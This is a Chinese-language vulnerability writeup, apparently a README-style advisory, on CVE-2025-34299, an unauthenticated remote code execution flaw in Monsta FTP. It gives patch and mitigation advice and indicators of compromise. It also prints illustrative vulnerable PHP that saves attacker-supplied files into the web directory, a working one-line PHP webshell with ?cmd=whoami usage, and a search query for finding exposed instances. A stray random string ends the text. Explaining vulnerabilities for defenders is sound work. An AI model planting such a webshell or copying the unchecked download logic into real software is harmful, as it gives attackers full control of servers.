CVE-2025-34299:Monsta FTP 未授权远程代码执行漏洞深度剖析
项目标题与描述
CVE-2025-34299 是一个存在于流行Web文件传输工具Monsta FTP中的严重、未授权的远程代码执行漏洞。该漏洞于2025年8月被发现,并于2025年11月7日公开披露。攻击者可通过一个恶意的(S)FTP服务器上传Web Shell,从而导致服务器被完全接管。目前已有超过5000个暴露在互联网上的实例,且该漏洞正在被积极利用。官方已于2025年8月26日发布补丁版本v2.11.3。
功能特性
- 漏洞类型:远程代码执行 (RCE)
- 攻击复杂度:低
- 认证要求:无需认证
- 攻击向量:网络,远程
- 漏洞成因:
/mftp/application/api/api.php文件中的不安全文件下载操作。 - 利用流程:
- 攻击者向API发送精心构造的POST请求。
- Monsta FTP连接至攻击者控制的(S)FTP服务器。
- 恶意PHP Web Shell被下载并写入目标服务器。
- 通过访问写入的Shell文件(如
?cmd=whoami)实现远程代码执行。
- 可用性:PoC(概念验证代码)已公开。
安装指南
注意:本项目/文档并非用于安装Monsta FTP软件。此处的“安装指南”旨在指导用户如何为受影响的Monsta FTP实例应用安全补丁和缓解措施。
首要措施:立即修补
- 升级版本:所有版本号小于等于 2.11.2 的Monsta FTP实例均受影响。请立即升级至 v2.11.3 或更高版本。
- 下载地址:访问官方下载页面 monstaftp.com/download 获取最新安全版本。
临时缓解措施 如果无法立即升级,请考虑以下步骤:
- 禁用访问:在应用补丁前,考虑临时禁用Monsta FTP服务。
- 网络控制:
- 在网络层限制Monsta FTP服务器的出站(S)FTP连接,仅允许访问必要的、可信的IP地址。
- 使用Web应用防火墙规则,拦截发送至
/mftp/application/api/api.php的可疑POST请求。
- 应急响应:如果怀疑已被入侵,立即隔离服务器,扫描并清除可能存在的Webshell,并考虑重新部署系统镜像。
使用说明
漏洞检测 您可以使用公开的搜索引擎语法来发现暴露在互联网上的、可能易受攻击的Monsta FTP实例。
- ZoomEye 查询语法:
app="Monsta FTP" vul.cve="CVE-2025-34299" - 其他平台如Shodan或Nuclei模板也可用于大规模扫描和识别。
影响评估指标 (IoCs) 在日志或网络流量中监控以下迹象,以检测潜在的利用尝试:
- HTTP请求:对
/mftp/application/api/api.php的异常POST请求。 - 网络连接:从Monsta FTP服务器发起的、指向未知或可疑IP地址的出站(S)FTP连接。
- 文件系统:在Web目录下出现新的、包含
system()或eval()等危险函数的.php文件。
核心代码
漏洞的核心问题位于Monsta FTP的API处理文件中,涉及到从用户控制的(S)FTP服务器下载文件并直接写入Web目录,且未对文件内容或路径进行充分验证。
// 示例:展示不安全的文件下载逻辑(非原版完整代码,为说明性代码)
// 文件路径:/mftp/application/api/api.php
if (isset($_POST['action']) && $_POST['action'] == 'downloadFromRemote') {
$remoteServer = $_POST['ftp_host']; // 用户可控的FTP主机地址
$remoteFile = $_POST['remote_file']; // 用户可控的远程文件路径
$localPath = $_POST['local_path']; // 用户可控的本地保存路径(通常为Web目录)
// 连接到攻击者指定的FTP服务器
$conn = ftp_connect($remoteServer);
ftp_login($conn, $_POST['username'], $_POST['password']);
// 关键漏洞点:未验证$remoteFile的内容和$localPath的合法性,
// 直接从攻击者的服务器下载文件并保存到Web可访问目录。
if (ftp_get($conn, $localPath, $remoteFile, FTP_BINARY)) {
echo "文件下载成功: " . $localPath;
// 现在,$localPath 可能包含了一个Webshell (例如 shell.php)
}
ftp_close($conn);
}
代码注释:
$remoteServer、$remoteFile、$localPath等关键参数直接从用户POST请求中获取,攻击者可以完全控制。ftp_get函数执行下载操作,将$remoteFile(攻击者服务器上的恶意文件,如PHP Webshell)下载到$localPath(目标服务器的Web目录)。- 整个过程没有对文件扩展名、MIME类型或文件内容进行安全检查,导致任意文件上传,最终实现远程代码执行。
// 攻击者可能上传的Webshell示例内容(简化)
// 文件保存为:http://target.com/mftp/uploads/shell.php
<?php
// 检查是否通过`cmd`参数传递了命令
if(isset($_GET['cmd'])) {
// 直接执行系统命令,这是极度危险的操作
system($_GET['cmd']);
// 例如访问:http://target.com/mftp/uploads/shell.php?cmd=whoami
}
?>
代码注释:
- 这是一个极其简单的PHP Webshell,它接收一个名为
cmd的GET参数。 system($_GET[‘cmd’])函数会直接执行传入的命令字符串,并将输出返回给客户端。- 攻击者利用CVE-2025-34299上传此文件后,便可通过HTTP请求在服务器上执行任意命令,从而完全控制服务器。 6HFtX5dABrKlqXeO5PUv/ydjQZDJ7Ct83xG1NG8fcAPx4VWCX5U48me3LnUBmtB8